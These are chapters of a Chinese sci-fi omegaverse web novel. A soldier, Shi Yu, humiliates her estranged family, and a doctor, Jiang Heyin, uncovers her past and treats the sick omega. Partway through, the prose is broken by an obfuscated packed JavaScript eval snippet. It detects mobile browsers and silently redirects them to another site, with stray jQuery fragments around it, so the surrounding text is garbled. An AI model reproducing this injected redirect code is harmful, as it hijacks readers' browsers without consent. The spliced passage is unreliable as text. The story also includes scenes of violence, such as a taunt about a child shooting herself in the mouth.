像是掉进蜘蛛的巢穴,地面忽得一下完全被这些蜘蛛和它们的长腿占满,身上渐渐也有蜘蛛爬上来,那两个孩子被这地狱似的情景吓住,惊恐叫喊。时与懒得理,一人一脚把她们踹到旁边。 女孩手中的枪落在地上,时与捡起来,手指插进扳机的空隙,挂着这小枪转了几圈。 “不会用就别用。”她姿态散漫,甚至吹了声口哨,继续嘲讽道,“我教你,张开嘴巴,枪管向后吃进去,百发百中,下次试试看怎么样。” 空气中传来咒骂声,她随意对着孩子脑袋周围开了几枪,左右的弹坑勾勒出孩子脑袋的宽度,于是周围重新安静下来,时与表情都没变,不再管她,掰断了枪管又丢回地上,转身去看方才的omega。omega脸色煞白,被潮水一般的蜘蛛拉倒在地面,他望着时与,嘴唇嗫嚅,被时与一脚踢在肩膀上。 她没收力,于是听到那omega闷哼一声,像是连起身都起不来,眼圈发红,身体微微颤抖,江鹤吟快傻了,这不对,他拉住时与的衣角,又被时与甩开。 那大片花色的络新妇消失无踪,两个小孩子那边传来微弱的呻吟,时与看着地上omega的眼神很冰冷,不见有一点怜惜的情绪。 她说话声音很低:“少来这个鬼样子,不是很凶吗?又在装什么东西?” “这时候跑出来做什么?”那人依旧想起身,她便直接脚踩在对方肩膀上碾过,又将他压回去,“omega就老实在家待着,怎么,出来炫耀你有信息素?哇,好厉害,真少见。” 这样不对,江鹤吟站在时与身后,觉得好像浑身的血液都向下倒流。他拉住时与的手腕,用力向后拖动,想让她把脚移开。 “我们走吧……”他说,“不管他们了,你别这样,我们走吧……” 兴许是因为从高处落下,又兴许是因为刚才那场“虫潮”,牛皮纸袋破了,刚买好的甜甜圈撒了一地,时与许久后才挪开脚,从口袋里扔了个卡片下去,甚至也不管江鹤吟,头也不回地直接走开。 “我半个月之后挂失。” 江鹤吟没看清她丢了什么,就听她莫名说了这么一句。但见她走了,他立刻将自己的证件从包里取出来,把那手包连同里边的东西——除味剂、抑制贴之类,全都塞到这omega怀里,然后跑去追时与。 下城区的omega一辈子要生许多孩子,很多时候这些孩子并没有共同的父亲或母亲——现代人类虽然因为信息素的绑定变得专一,但没本事的alpha死得早,有本事的alpha死得快,都没那个一生一世的条件,因此下城的omega一生中要换多个伴侣,生一窝又一窝的孩子。 时与也不知道自己爸爸那个倒霉早死的配偶该是叫娘还是叫爹,只知道那家伙很烦,留下的标记难以抹除,让她只能跟着那位柔弱的omega躲躲藏藏住狭小潮湿的地下室里,两平米的房间塞着三个人,一大两小叠在一起,每天睡觉都像要长眠。 omega敏感又柔弱,每天晚上要抹三个小时眼泪才能睡着,不知道是累了还是一直等到哭晕过去。壮实的小孩子要早早养家,但半大不小也只能做点压价的力气活,她饿,要吃很多东西,吃不饱就只能去偷去抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507706|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,惹了不少麻烦事,偏偏小地方邻居之间没有隐私,被人揪了精神体的尾巴,引起周围一片轩然大波。 总之当时就是……挺惨的,时与自己也记不清了,这之后就被扔掉自生自灭,想想倒觉得生活好过了些。 江鹤吟从后面追上来,时与一直都很凶,但从来没有像今天这样过,他有些迟疑,小心地、轻声地问时与:“你怎么了?” 时与想:好像碰见旧弟弟和新妹妹了,够凶的,真带劲,应该过得还不错。 时与说:“那么好吃的东西撒了一地,真可惜。” 江鹤吟走在她身边,并不相信她的鬼话,时与确实是对食物热情惊人,爱吃这爱吃那,但倒不护食,从没在这方面吝啬过,omega出现之前她的表现还算正常。 是alpha应激的攻击表现?可是她的信息素没被牵动,只是有些暴躁,江鹤吟不确定,不敢再多闻,屏息离她远了些。他自己的发.情期预计也在不久之后,刚嗅到旁人发.情的味道,生怕再闻alpha会闻出个意外,今晚上接连不断的事故能轻易引出连锁反应,让他也彻底曝光。 时与很快调整过状态,突然想起来刚才是要做什么,走了没几步,又像没事人似的问江鹤吟:“咱们要去哪边?” “……我不想去了,”江鹤吟步伐放慢,语气委婉,“我们……我们能回去吗?我有点累。” 时与默然点头,她当下也确实没什么兴致,顺坡下驴道:“那走吧。” 两人几乎一路都没再说话。 时与依旧正常将他送到电梯,江鹤吟依旧正常回来、正常对她报平安,然后躺在床上休息。 这不对。 江鹤吟辗转,脑内不知第几次冒出这个想法——这不对。 哪里不对呢,他也不知道,他只知道自己这几日有些过热的头脑终于冷却下来,他或许该开始重新审视时与这个人。 时与做得没什么过分,当时那几个弱势群体组成的歹徒团伙来势汹汹,从开的第一枪就是冲着夺人性命去的,如果她不开口嘲讽那自己可能会被留下来,届时会发生什么实在难说。 他用被子蒙住头,觉得睡不着,很难受,待着待着自己就受不了了,翻过身起床,“噔噔噔”跑到浴室冲凉。 颈后的抑制贴撕下来,他果然还是受到点影响,橙花味的信息素终于找到宣泄口,海浪似的涌出来。他扶着墙,感觉腺体有些发烫,水流从头顶浇下,流经腺体时给的那一点微弱的刺激都叫他浑身竖起寒毛。 这可真是…… 擦干身体,一层抑制贴上面贴上更强力的一层,又找出抑制剂服下,除味喷雾重新打开一瓶,先将身上从头到脚喷了一遍,又去喷房间里里外外,一直到一瓶用尽,再也按不出东西才终于罢休。 江鹤吟打开他专属的小通讯器,编辑了一遍信息,又全部删除。 关灯,睡觉。 19. 第 19 章 两人的关系冷却下来。 他没再一天到晚一直缠着时与陪自己出去,无事时也基本不再发消息,和洛恩两个搭伴上下班。 洛恩还在规划他的宏图伟业,有时候早上或晚上会离开他单独去那个神秘的楼层,江鹤吟不清楚他去干什么,但见他兴致越来越高昂,估计很快就能知道结果,于是老实等着。 再到住院部轮岗,他依旧习惯性去时与那边看——也没必要躲着她,时与给他的定位是“熟悉的陌生人”,那自己也可以从这个角度去与她相处,这无所谓。 门半开着,江鹤吟先向里头瞟了一眼,见到有护理机正在消毒吸尘。他知道时与不喜欢消毒液的味道,从来都拒绝这项服务,今天倒不知道是怎么一回事,护理机的功率很强劲,估计开到了最大,清洁声嗡嗡作响。 推开门,里面正有一人站在那收拾东西。不是时与,江鹤吟见过他,是时与那个能轻易把她制服的弟弟,正帮时与处理带来的那些吃喝和衣物之类的日用品。 “你好。”江鹤吟对他打招呼,时夏看向他,他当然也记得这位漂亮的医生,甚至上次两人约会的地点都是他的主意,但他就装客气,对江鹤吟微笑点头以作回应。 消毒液的味道很重,江鹤吟进来就觉得不妙,心想或许该提醒他打开窗,但又认为弟弟不至于不清楚时与的坏毛病,犹豫了一下,最终还是委婉曲折地提醒时夏留出通风时间。 他仿佛和时与有事相商似的:“请问她什么时候回来呀?” “不回来,我待会儿帮她办理出院。” 时夏手上不停,随口回答他的问题。 他收拾得很利落,剩下的东西有的折叠整齐放好,有的诸如吃吃喝喝就直接毫不犹豫投进护理机后头的垃圾袋里,时与仿佛是属老鼠的,短短几天就囤了一大堆东西在这,估计不睡觉的时候都在咯吱咯吱磨牙。 江鹤吟没说话,时夏丢完东西一脸清爽,对他笑道:“谢谢你,这边的医师都不怎么敢让她住院休息。” 江鹤吟说:“哦……” 不知道是什么心情,时与出院没有告诉他——虽然可能本来也不用告诉这位“实习医生”。 他问:“她不自己去办手续吗,现在是又去工作?” “不是呀,”时夏把时与被子掀开,突然又想起还要再赔这里一条,揉揉额头,“她是笨蛋,昨天把ID卡弄丢了,今天说要再找,不知道又去了哪儿。” ID卡丢了? 江鹤吟想起那三个游民的事,对这个“丢”有些头绪,但这事想起来还是依旧让人郁闷。 他不准备给时夏搭把手收拾那些零碎的东西,于是打声招呼也就默默退出来。 时与出院没通知他,江鹤吟想。 好吧,陌生人。 切。 一位志愿交换生“休息”的时候确实没多少事情做,这么多天他终于来到分给他的值班室完成他的休息。 手边是应急安保的控制器,江鹤吟百无聊赖趴在桌子上,点着上面的按钮玩。他脑中不自觉开始回忆,想起第一次按这个的时候被时与强行抓出去当了共犯,虽说确实很有趣,但实在非常不守规矩且粗鲁不堪。 脑袋空空什么事情都没有的感觉并不多么美好,他对着桌角点点按按,突然觉得第八星也没那么好玩,脑机也还依旧是人类最伟大、最不能抛弃的发明。 手臂植入芯片的地方尚且有一个小小的凸起,他用的芯片材料很老式——毕竟他本身并非极端保守派,没有生物可吸收性的材料让他可以随时反悔,重连大脑与世界网络,从原始人一跃回归现代。 好无聊。 好无聊。 他心想要不干脆取出来算了,但自己又清楚取出来之后屏蔽解除,被家里人找到信号他就要挨骂——早晚得挨骂,但也不能这么早,而且万一再因此被家里派人带回去就更是糟糕透顶,他还不想离开。 ……回去要挨多少顿骂啊,他的假ID还有和alpha同住的记录,现在倒好,时与出院留他自己一张床摆着,下回不知道又要换哪个人过来。 时与出院了,烦人。 他脑袋趴在胳膊上换一个姿势,那待会儿自己那张病床也要退掉,他深吸气,猛地坐直,手臂一挥把控制器“啪嗒”丢到地上。 那么重的伤怎么可以现在就好! 他打开住院部的电脑,相当不爽地去翻时与当时的就诊记录,坏念头此起彼伏,心说真讨厌,我要给你再开个药。 —— 虽说时与的旧ID卡依旧只记录了下城的身份信息,但那些针对下城人的限制基本已经解除,正常使用起来与普通居民无异,唯一的不同之处正适用于如今的情况——ID卡被人“抢”了,她重新申请再办的手续很麻烦。 左右平时用不到这张卡,她本身也并不太在意这卡片的去留,只和时夏稍微提了一嘴,心中预备半月后再挂失,甚至如果他们够乖也可以一直留给他们用,这问题不大,虽说断绝关系,但举手之劳她依旧可以稍微帮一把。 于是她来监控了一下ID的状态,小混蛋们很省心,现在安安心心找了个地方猫着,只冒出来一条新的入住记录,没有别的她预计中的坏毛病——当街抢劫或者聚众斗殴之类,还好,不算太笨。 米尔加奈在她身边慵懒半躺,随她一起看屏幕。技术部的人都有点技术在身上,她不只会做设计机甲的本职工作,用一点小小的手段帮时与绕过安全系统查个ID行程轻而易举,这算是私下的好交情,不能拿到明面上来讲。 金发的omega把眼镜架在头顶,饶有兴趣看着这个新消息,湛蓝色的眼睛眯起,“哼哼哼”笑两声,对时与伸出手。 时与把刚剥好的橘子皮放上。 米尔加奈:? “时与,”这个岔打得很莫名其妙,她举着这块垃圾忽然忘了自己本来要说什么,注意力一改,先来同她讲究这件事,她说,“时女士,时大校,你还记得我刚才帮了你一点小忙吗?” 时与连忙给她换成橘子瓣 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脑袋里有本能般的方案,精神体产出的蛛丝又是最好的材料,机器给她用向来不会报废,只会用着用着性能越来越好——这是一身好本事,但实在太本能了点,米尔加奈从她身上弄不到任何现成资料,很多时候只能拿着她的改装自己悟。 她气得骂时与弱智,简直恨得要死。 时与拉着米尔加奈向训练场去,旧机甲改装的路子太歪,只有她自己能完全适应,换新后没人接替,就和那些训练机一起停在训练场的仓库里,如今算是一个半报废的状态。 这里的保密级别很低,两人虹膜识别打开仓库侧门,仓库里排着各种型号的机甲——全是些淘汰下来的老式东西,存放的环境很一般,侧边墙上甚至还有个修补不完善的洞,这洞从时与第一次来就有,不知道是什么年间的产物,寿命比它的“修普诺斯”都长,她以前还偷偷进去过,能一直通到一个管道群,看着麻烦,她就没再深入,原路返回这里。 米尔加奈去按机甲的外板,没反应,问时与:“‘钥匙’呢?别愣着,先打开一下。” 时与尴尬哈哈:“我在这里还要什么钥匙……” 她的脑波与机甲配对,这次不用外出战斗,便也没有必要非加进钥匙上那块能源石,心念一动便直接启动机甲本体。 米尔加奈看清她的猫腻,心中明白她这是又有点小违规,没随身带着自己的启动器,于是白她一眼就不再说话,直接卸了那块外板,专心扫描那块下方的连接。 好恨。 扫描出的结构似乎比如今的外骨骼还要更优,米尔加奈心说好恨,怎么能优化成这个样子,她问时与:“我给你的书你有没有看过,能不能用拓扑力学的知识为我讲一讲这……” 时与说:“那个洞怎么好像和之前形状不太一样,你等下我去看看,哎呀真是的怎么回事。” 洛恩缩在洞口,闻言浑身一颤。 20. 第 20 章 米尔加奈一把揪住她的头发。 “疼!”时与被她拽了个踉跄,悲从中来,“你比我弟弟还凶。” 她又叽叽咕咕嘟囔起什么“可怜”“伤口”“脑子不好”之类的话,说书又厚又重拿不回去,说哪块砖头在虫巢里给她挡住致命攻击,说自己不认字看不懂题目都是什么…… 洛恩不敢再留,悄悄爬回那段纷乱的管道交联区。 —— 江鹤吟有些愣怔,他翻出时与的就诊记录,一长串id号码之后,她的基本信息静静浮现面前。 星历1208年生、alpha、女性、服役于第八星军部前线战斗队伍、上士、户籍地135区东城道…… 135区。 132区以后就算下城,所以时与是下城的人,江鹤吟从没想过这种可能,他忽然想起几人相似的黑发黑眼,一瞬间甚至觉得她说不定干脆和乐园那几人就是同区的老乡——但为什么要对别人说那么难听的话?女alpha嘲讽的声音犹在耳畔,江鹤吟想不明白,觉得很难理解。 他们会不会原本认识,其实他也知道时与并不是那么刻薄的人,没错,他们应该早就认识,仔细想想那omega态度很奇怪,所以他们有矛盾在先…… 江鹤吟拍桌,捂着脑袋非常小声地“啊啊”小叫。 不对!什么鬼东西!! 他站起来拍自己的脸,好像房间里缺氧似的来回踱步,一只浅灰的小鸟出现在他头上,随他一起绕着房间转圈。江鹤吟一手捏住它,身上的制服脱下来扔在椅子上,在桌上挂了个“巡视”牌。 此时不必去想该给时与捏造个什么病情让她留下来,因为已经不需要再通过时间冷静,江鹤吟已经为她的行为找到了新的开脱角度——角度有些太跳跃,但他觉得很有可能。 他要去亲自去看看那人。 江鹤吟脚步飞快,他直接翘了班,回宿舍找出一堆应对发情期的东西带在身上就往外走。 下城游民不被接受,但时与不同,她正在军部服役,必然不受限制。 她的ID卡丢了,江鹤吟脑中闪回上次的画面,她说“半个月后挂失”——只有ID卡会用到这个词汇,所以她知道这回事,她是故意的。 那几人正用时与的身份混进普通的城区,但omega的状态很差,他们走不远,因此只能在周边找地方入住,那么他需要搜索的范围很小。 时与在帮他们吗? 他直接预约了一辆医疗车,关闭上头的警报器向离那个乐园门口最近的酒店去。 —— 最近的酒店就是乐园自己的客房,江鹤吟下车,戴上信息素阻隔器进入其中,信息素阻隔器有点像alpha的嘴套,很显眼,但幸好大厅无人监管,因此没人对他这样一身夸张的行头感到紧张。 他直接在入住的机器上刷自己的假.证件——当然这么说也不对,这是一张合法合规的新身份ID,并且在联邦所有星球上畅通无阻——江鹤吟来之前求自己姐姐给这个新身份打开了绝大多数权限,此时正好用来查里头的住客信息。 “时予”果然就住在这里。 他抿紧嘴巴上楼,几人的房间在酒店顶层,电梯上行,他指尖微微开始发凉。 外面的视野逐渐开阔,天幕下也还依然是像那天一样的景色,大人带着孩子穿梭在娱乐设施中玩耍,好像隔着老远就能听见欢笑声。 门开了,信息素阻隔器亮起警示,提示他空气中信息素浓度已经超标,再向前有些危险。江鹤吟抬头,果然见到天花板上的报警器被人用透明的纸卷包裹起来,这里对那发.情的omega暂时安全。 顶层只有两间房,一间是空的,他敲敲门无人应答,于是转向另一扇门。 里头有动静,他耐心又敲了几次,但依旧不见有人回应,于是直接又拿出自己的卡片解锁。 门开了,对准他的是一个黑洞洞的枪口,又是那个小孩,两个孩子还没分化,不太受到信息素的影响,因此藏在一间房里也没问题。江鹤吟对目前的情况早有预料,他深呼吸,举手摆出投降的姿态。 他这次不害怕了,看着这把枪反而冷静下来,慢慢蹲下,与那孩子视线平齐:“我是来帮你们。” “不需要,”她那把银色的小枪被时与掰得彻底报废,现在手里的是另一支,她好像一只奓毛的猫,对江鹤吟道,“你滚开。” 另一个一向安静的孩子在她身后,也说:“你滚开!” 江鹤吟说:“我知道怎么治好你们哥哥的病。” 这话说出,果然两个孩子同时沉默,他忽然听到房间中传来微弱的声音,是那个omega,话少的孩子连忙跑进去,留下带枪的继续与江鹤吟对峙。 omega轻声询问:“外面是谁?” —— 江鹤吟进来的时候两个孩子还警惕地跟着他,那omega见她们跟进来便对她们挥手,叫她们出去,他声音很轻,嘴唇干裂,嗓子有些哑。 信息素阻隔器的警示闪烁越来越快,房间内信息素浓度太高,几乎要透过口罩穿进来。对方的信息素与时与一样是浅淡的味道,闻起来好像潮湿浓重的水雾,江鹤吟坐在他身边放轻呼吸,他翻找自己的挎包:“你现在只吃抑制剂已经没用了,我需要帮你打抑制针。” “嗯。” 黑发的omega答应得很乖,他面色潮红,身体仿佛身处寒风中一般不停发抖,江鹤吟知道这状态很差,于是动作加快些,也不在意规范与否,一指将手中安瓶弹开。 omega很安静,兴许因为身上烧得太厉害,眼睛上蒙着一层水雾,积蓄足够就凝结成泪水从脸颊上划下来。他看着江鹤吟的动作默默流眼泪,很柔顺地低下头露出脆弱的脖颈。 腺体很敏感,针尖按下去时便听到对方喉咙里传出闷闷的哀叫,他肩上还有青紫瘀痕,是被时与打出来的痕迹。江鹤吟看到这个,来之前的众多猜测忽然梗在喉咙里,他抿紧嘴巴,想问的话一句都问不出口。 抑制针见效 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他指挥两个孩子做这做那,自己则去沙发上坐下,又拿出时与的通讯来,捏在手里轻轻磨。 颈后腺体跟着发热,脑中也烦乱,便索性自己也拿了一个抑制剂吞下去。 他倚在沙发的靠背上,又开始想时与。 时与还在和米尔加奈对着机甲做技术大探讨,要她出去打个几天没问题,但一做这些理论的东西就只觉得越来越萎靡,越来越狂躁,简直想死。 她在米尔加奈的一声声疑问里口气逐渐不确定,整个人越缩越小。 米尔加奈把她从地上拉起来,也知道她快绷不住,适时给她嘴里喂进颗糖。 “你下次记得把钥匙拿给我,”她终于停下了专业的话题,给时与顺毛,仿佛宣告结束,她说,“如果你不介意的话,我想把它完全拆掉。” 时与不介意,她不是那种会把机甲当老公老婆或者亲孩子的人,拆掉就拆掉,她很萎靡地吃糖,点头应下米尔加奈的话。 外面天色已经渐晚,她们从训练场仓库里出来,时与整理好凌乱的脑子送她回去,预备顺便再去技术部那儿蹭点营养剂吃。 路上车辆依旧熙熙攘攘,她走在米尔加奈身侧,习惯性偏头向下看,忽然对着下面一辆关着灯的医疗车吹了声口哨。 似有所感,江鹤吟抬头,正见到时与的身影站在楼上。 她和那个金发的omega站在一起,双手插在口袋里,表情玩味,仿佛是在嘲笑他一般。 辛苦了一天的时与师傅没想别的,只是觉得必须要给熟人犯点贱,她当然不知道江鹤吟在这辆车里,只知道这车走得鬼鬼祟祟,超级可疑。 抬手拍照,她贱贱笑起来:“哎呀医生内部有坏人,肯定是违规,我要和老大举报。” 米尔加奈翻白眼,却也不阻止她。 临近下班,姜澜的邮箱里接到一封加急大举报。 21. 第 21 章 举报发送人是时与,姜澜几乎要懒得去看,她抱着“有个万一”的心态随手点开,发现只不过是公车私用的小事,确定她是故意来找茬闹事玩。 她把邮件移到垃圾桶,伸个懒腰关掉设备即刻下班,顺便给今天这车的申请人发了个红牌。 时与蹭完吃喝回家时,江鹤吟早就洗漱好躺在床上,他手指正摩挲通讯器上那块漂亮的能源石,对着中央的划痕细看。他最近总拿着时与给的那些小东西琢磨,筹码、通讯器、糖果、外出时的小礼物……稀奇古怪的小东西拼凑出他在第八星经历的方方面面。 第八星当然是不好的,初到这里时外面是虫潮、从飞行器下来是破破烂烂的接驳车、住又小又挤的宿舍、医疗条件有限、居民素质有待提升……超级差劲的星球,但他的回忆都很棒,这是时与的功劳。 他今天从omega那里得到了想要的结果,谁能要求一个仅仅因为精神体特殊就被扫地出门的小孩子对以前的家人抱有多大善意,特别还是在被人拿枪指着抢劫的情况下,时与已经很大度,大度得没边。 甚至短短几天她已经帮了自己不少忙,但自己只顾着别扭已经好几天没有理她,他重新又开始觉得alpha很可怜,她一定吃了很多苦,她皮肤苍白、整日有些吊儿郎当似的无精打采,或许口中所谓“精神体变异”导致的旺盛食欲也是来自幼年时吃不饱的忧郁继承。 江鹤吟想起今晚时与站在楼上那个玩味的笑,是讨厌自己了么?他实在做得很不好。 时与——时与正在家里吃夜宵。 她这人相当坏,有人倒霉就高兴,于是举报完医疗部里某个不知名倒霉蛋后顿觉神清气爽,回来的时候已经完全调整好心态,从一滩死狗变回一个活人。 时夏按照惯例给她准备了新鲜的菜和肉,绿叶菜混着肉类加上调料煮成一盘,热气腾腾摆在桌上,时夏正坐在一边等她,手上有一搭没一搭玩着小猫,时与喜欢这幅场景,她狗狗祟祟去旁边捏小猫的尾巴,被时夏打了手,只好长吁短叹去一旁吃她的夜宵。 时夏抱着小猫坐在她身边,他今天休假,帮时与办完出院就约了朋友玩,不知道去了哪儿,带了一堆破烂玩意回家,此时堆在沙发上还没收起来,时与不太认识,但直觉和之前在乐园收的那些差不了多少。 时与看看那堆东西,想想江鹤吟,再对比起米尔加奈,觉得苏鸿之前研究的恋爱宝典应该更新一下,广为流传的刻板印象似乎很有问题,beta们要比omega更喜欢这些可爱的小玩意。 江鹤吟的消息适时发过来,她正想起他,于是分出心去看,他说:[我今天见到你弟弟了。] 哦。时与嚼嚼时夏这盘省心的一锅煮菜系,觉得有点淡,建议他下次多放点调料进去。 她给江鹤吟回消息:[我让他帮我收拾一下,怎么了?] 江鹤吟那边沉默了一会儿,他刚才想指的并不是时夏,而是另一位,但又突然之间觉得不好说什么,于是只问:[那我以后还能见到你吗?] 时与战术后仰,她咀嚼的速度慢下来,喝口水,觉得这问题不太对味,她是出院了又不是去世了,怎么问得这么悲情。 她说:[什么话,明天我去找你,正好你把这玩意还我,我还要用。] 晴天霹雳。 江鹤吟哀嚎了一嗓子,用枕头蒙住脑袋缩在一团被褥里嘤嘤嘤哼唧,一直蒙到脸上通红缺氧才把自己放出来。时与果然生气了,洛恩上次还说她身上有新的,有新东西哪里需要这个破破烂烂的玩意,好小气……好小气!!她根本就是连这样一个小礼物都要收回去。 扭身对被褥捶了两拳,他没再给时与回复,看了眼床头时钟,超级不欢迎明天的到来。 —— 明天是否到来当然不以江鹤吟的意志为转移,时与依旧午休时来找他,见到他的脸色还吓了一跳。 一向漂亮的小少爷这几天似乎都没休息好,望向她的眼睛很苦闷,表情皱在一起,看见她过来身上冒出肉眼可见的不情愿,像个爆汁小苦瓜。 吃抑制剂本就不舒服,昨天白天已经折腾了一天,晚上又一直在胡思乱想睡都没睡,更惨的是上午来的时候又被通知因为违规用车被罚了红牌,要写两万字检讨,否则就要提交到学校记过,记过的话学校会把信息反馈回家……两万检讨!他这辈子都没写过这么多字! 他将门半敞开,堵着时与不让她进来,对她撒娇:“我的脑机不能用了……” 时与:“好小众的理由,简直闻所未闻。” “真的,我给老师报备过了,”他委屈道,“借我再用几天吧……” 时与其实也不坚持一定要今天拿到,她和米尔加奈约定的是“下次”,一个大约的时间,并不急于今日。 她看向江鹤吟,对他的状态有些好奇,不知道这个只坐诊值班空余时间还有那么多精力想出去玩的家伙怎么会看起来这么疲惫。 江鹤吟撑着门框的手快塌下来,他弯腰,好像快化成一滩烂泥,悲道:“我要写两万字检讨!!” 时与:“嗯?” “我昨天申请医疗车出去了,”他的声音越来越小,腰背塌下来,终于把时与放进门,“被抓住了,不写检讨就上报,我不想写检讨……” 时与在椅子上一瘫,这剧情有点熟悉,她昨天是不是举报了个……算了不重要,她摸着下巴对江鹤吟指点:“你可以随便找个智能文件帮你生成,很快的,五秒钟。” 江鹤吟道:“不行,要审查编辑记录。” “不查。”时与经验相当充足,她在椅子上转了个圈,直接胸有成竹地过来把江鹤吟挤走,相当熟练地操作起他的设备,生成检讨后又特地去手动改了个狗屁不通的开头结尾,“你们主任绝对不查,查的话我就把你这张桌子吃了。” 江鹤吟蔫蔫靠在椅背上,时与行动时有微弱的信息素散出来,闻起来很安心,仿佛连燥动难安的信息素都隐隐被安抚,但他依旧有些怏怏。< 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“你和你的弟弟可以和我一起回二星去,你以后可以做我的私人助理……”躁动的心绪被信息素安抚,他有点困似地侧倚在靠背上,“私人助理……但是可以什么都不用做,每天只需要帮我看邮件,偶尔陪我出去。” 时与伸出手,手背贴上他的额头。 她肉眼可见松了口气:“发烧了。” “看这胡话说的,”她站起身,去旁边拿了个测温计来,对他额头轻轻一按,果然闪出红色灯光,“你回二星给家里打包个alpha当特产啊,下午休息吧,别烧傻了弟弟。” “没说胡话……!”江鹤吟把她的手挥开,他吃了抑制剂,发烧是正常现象,他说,“我没有胡说,如果你不想做我的助理想继续在军部也可以,第二星一定比这里更好。” 时与“嗯嗯”,站在一边又重新帮他把设备打开:“江医生,自己还会开药吗,退烧药用不用我给你开?” 江鹤吟:“我会开。” 时与:“好,知道怎么请假吗?” “我不是,我在说……”他话说到一半忽然停住,略有疲色的脸上浮现一抹红晕,好像想到什么,不再挣扎,抬眼看向时与,“那你照顾我吗?” 时与又给他测了一遍体温,面板依旧是一片亮红,暂时不同他计较:“你那张病床退了吗?没退就送你过去,别的别想。” 江鹤吟哀哀怨怨:“哦。” 时与轻叹:“差不多得了,再说就动手了哈。” 江鹤吟撇嘴:“哦。” —— 时夏退掉床位,原先的病房已经重新被收拾的纤尘不染,时与说话算数,进门时被里头的消毒液味道小小伤害了一下立刻掉头就走,说只送过来就绝对没有别的照顾,留下江鹤吟一人在病床上躺着。 江鹤吟不太生气,他现在对时与的表现有点溺爱,猜测这也是可怜小孩的后遗症之一。被子盖住下半张脸,鼻子顶住被子内侧,这是全新消毒过的,没有一点时与的味道。 他仰躺在床上,无聊地凝视天花板。 22. 第 22 章 病房里的人从时与换成江鹤吟,但待遇显然不同,时与并不会一有空就来看他,没有人陪,他也没有脑机玩,于是只能看天看地看枕头上布料的纤维排列发呆。 人的适应能力很强,在某个地区呆久了会逐渐融入当地文化圈——比如江鹤吟此时在盘算回宿舍一趟的事。 这放在以前当然是万万不能的,但第八星的医生和患者态度都不太负责,花了钱的病房,能跑等于没事等于健康,没人会因此质问或责怪他。 ——抑制剂要再拿几片,除味剂倒还足够,后颈腺体上的抑制贴则一定要在宿舍里更换,私人空间比病房隐秘得多,不会被人发现。 身体闲下来就会更矫情些,或许因为发.情期前遇到的刺激太多,他这次的反应与以往相比更激烈,身体一阵阵发冷,头脑烧得晕乎乎,但好在应对比较及时,没怎么出汗,看模样挺正常,至少不像时与的弟弟那样难看。 他索性闭上眼睛睡了一觉,不符合生物节律的睡眠总不长久,再醒过来时间就刚到晚上。房间的灯开着,护理机来过了,床头的小柜子上摆着两支营养液,一蓝一绿,不知道是什么味道。 房间里除了他还有别人,不是时与,是卷发的洛恩。洛恩坐在一边闭着眼睛微微抬起头,像冥想似的,应该是在玩游戏或者做别的事,他很快发现江鹤吟醒过来,关心道:“你醒了,你还好吗?” 一只手覆上江鹤吟的额头,洛恩的手有点凉,激的江鹤吟一颤,他赶紧道歉:“对不起对不起。” 他说:“不过好像不烧了。” “嗯。”江鹤吟答应,嗓子有点干,胃袋空空,想吃点东西。 洛恩不是没分化的小朋友,他很会照顾人,听他声音有点哑立刻转身倒了杯水过来,又伸手帮他将床头的营养液拧开。江鹤吟对他道谢,先是捧着杯子小口啜饮,然后才尝了一口黏哒哒的营养液。 给病人发薄荷味的营养液到底是谁想出来的招数,难怪病人要跑,第八星的医院简直不是人待的地方。 他差点被辣死,但营养液刚从洛恩手里接过来,因此没好意思表现得太夸张,只盖上盖子放回去咳了两声,一手捂着脖子一手撑着床慢慢坐直。 江鹤吟暗自放松了两遍声带,说:“谢谢你来看我。” 洛恩挠挠脸:“我听说你病了,还好看起来只是普通的感冒,多休息一下就会好。” 江鹤吟点头,他的问题不严重——并且他对此应对经验丰富,预计时间今天晚上就该恢复正常,他对洛恩说:“谢谢,我已经好多了。” 洛恩道:“不过真巧,你竟然也住在这间病房。” 江鹤吟闻言又暗自撇嘴,他当然在这间病房,甚至时与以前盖的被子都是他床上的,如果时与今天没出院他们就该盖一条被子……不对。 停停停停停停。 发.情期简直要命,激素支配大脑就会出现这种离谱的想法,江鹤吟转过头去拍自己的脸,强制自己的思想换了个方向,他问:“你那个秘密计划怎么样了?” 洛恩果然喜欢这个话题,这问题好像他的开关,一提起来就让他变得活力满满。 他说:“对了!对了!我正要告诉你。” “是这样,我已经查清楚了,三十八层消火栓旁有一条裂缝。”他左右检查,似乎是担心周围会有人窃听,挪了个位置坐到江鹤吟的床上,在他耳边小声说起来,“裂缝能一直通到建筑夹层的管道群,顺着那里可以一直走到训练营的仓库,等你病好了我们可以进去看,我上次已经标记好了正确的路……” 江鹤吟也坐直了,虽说他对机甲的兴趣不大,但确实也没怎么接触过。他的姐姐把机甲当宝贝,只在他很小、哄他玩的时候让他见过一次,但那次也只是远远看一眼,再问别的就都是机密,想离近一点摸摸都不行。 机甲的地位比他稍高一点,江鹤吟从小就很有这样的觉悟,而且素来都说机甲是alpha的浪漫,omega不应该涉足alpha们的领域——众所周知越禁忌的东西越吸引人,宣传得神神叨叨,江鹤吟就算再没兴趣也会对此感到好奇。 他也低声问:“你进过仓库吗?机甲是在存放器里还是……?” “是完全暴.露的!”洛恩语气中的兴奋几乎溢出来,“而且我上次去看恰好碰见时与,我知道她的机甲是哪一个,你有她的钥匙,我们甚至可以启动它!” 江鹤吟:“哎?” 什么叫他有时与机甲的钥匙。 烧了一下午之后略微降温的大脑重新转动,他和洛恩对视,眨眨眼,脸颊发烫,慢慢从口袋里掏出那个漂亮别致的“通讯器”来。 他不知道,这会是机甲启动器……?可是时与好像只是随手给的,他不知道,时与从来没嘱咐过他什么。 “通讯器”被举在两人身体之间,中间乳白色的能源石反射出七彩的光晕,他声音很小:“你说这个……?” 洛恩拍手,双掌合起来。 洛恩说:“太好了!鹤吟!” 难以置信,江鹤吟脑内忽然炸开烟花,好像浑身的血液忽然都涌上头顶,他捂住嘴巴,感觉脸又开始不停发热。 她把启动器给自己……? 洛恩小心探过脸:“……你还好吗?” 